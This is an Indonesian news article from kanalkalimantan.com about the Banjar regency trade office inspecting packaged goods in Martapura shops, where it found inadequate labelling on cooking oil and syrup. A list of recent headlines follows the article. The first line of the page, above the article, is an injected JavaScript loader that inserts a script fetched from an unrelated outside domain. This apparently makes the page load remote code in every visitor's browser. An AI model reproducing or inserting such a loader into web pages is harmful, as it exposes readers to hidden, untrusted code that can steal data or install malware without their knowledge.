(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

DKUMPP Banjar Lakukan Pengawasan Barang Terbungkus di Beberapa Toko di Martapura dan Martapura Timur


KANALKALIMANTAN.COM, MARTAPURA – Dinas Koperasi Usaha Mikro Perindustrian dan Perdagangan (DKUMPP) Kabupaten Banjar lakukan pengawasan Barang Dalam Keadaan Terbungkus (BDKT) di beberapa toko yang berada di Kecamatan Martapura dan Martapura Timur, Jumat (6/12/2024) pagi.

Kegiatan itu dilakukan DKUMPP Banjar guna menjaga kuantitas barang dan perlindungan kepada konsumen.

Kabid Kemetrologian dan Bina Usaha DKUMPP Ahmad Baihaqi, mengatakan, dari pengawasan tersebut menemukan beberapa produk yang belum sesuai standar pelabelannya, yaitu produk minyak goreng yang penulisannya sangat kecil sehingga membuat konsumen sulit mengetahui isi dari minyak goreng tersebut.

“Seharusnya dituliskan juga dilabel berapa jumlah liter minyaknya,” jelas dia.

Baihaqi menambahkan ada juga produk sirup yang penulisannya kurang standar jenis ukuran huruf tidak sesuai dengan kaidah peraturan perdagangan.

Dia berharap dengan pengawasan ini para pedagang dapat mengetahui dan memberitahukan kepada distributor, bahwa pelabelan masa expired dan sebagainya harus disesuaikan dengan peraturan Kemendag.

“Wewenang kami hanya menyurvey, memeriksa, mendata dan memberitahukan kepada pedagang agar nantinya disampaikan ke distributornya bahwa ada peraturan Menteri Perdagangan yang harus disesuaikan. Untuk penyitaan dan lainnya itu ada wewenang pihak lain,” terang dia.

Sementara Fika pemilik salah satu toko di Desa Sungai Sipai sampaikan terima kasihnya kepada DKUMPP Banjar dan mendukung kegiatan yang bertujuan menjaga perlindungan konsumen.

Terkait ditemukan produk tidak standar dalam pelabelannya, dia tidak mengetahui standar label yang sesuai dengan Kemendag,

“Kami sangat terbantu dalam pengawasan ini, kadang kami tidak mengetahui ternyata barang-barang tersebut tidak ada izin dan standarnya,” ucap dia.

Adanya pengawasan tersebut lanjut Fika membuat pihaknya jadi mengetahui peraturan apa saja yang boleh dan tidak boleh diperjualbelikan.

Ke depan dia lebih ketat lagi dalam menerima suatu produk, dan akan menyampaikan kepada distributor tentang peraturan dari Kemendag tersebut. (kanalkalimantan.com/dkispbanjar/kk)

Reporter: kk
Editor: Dhani


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.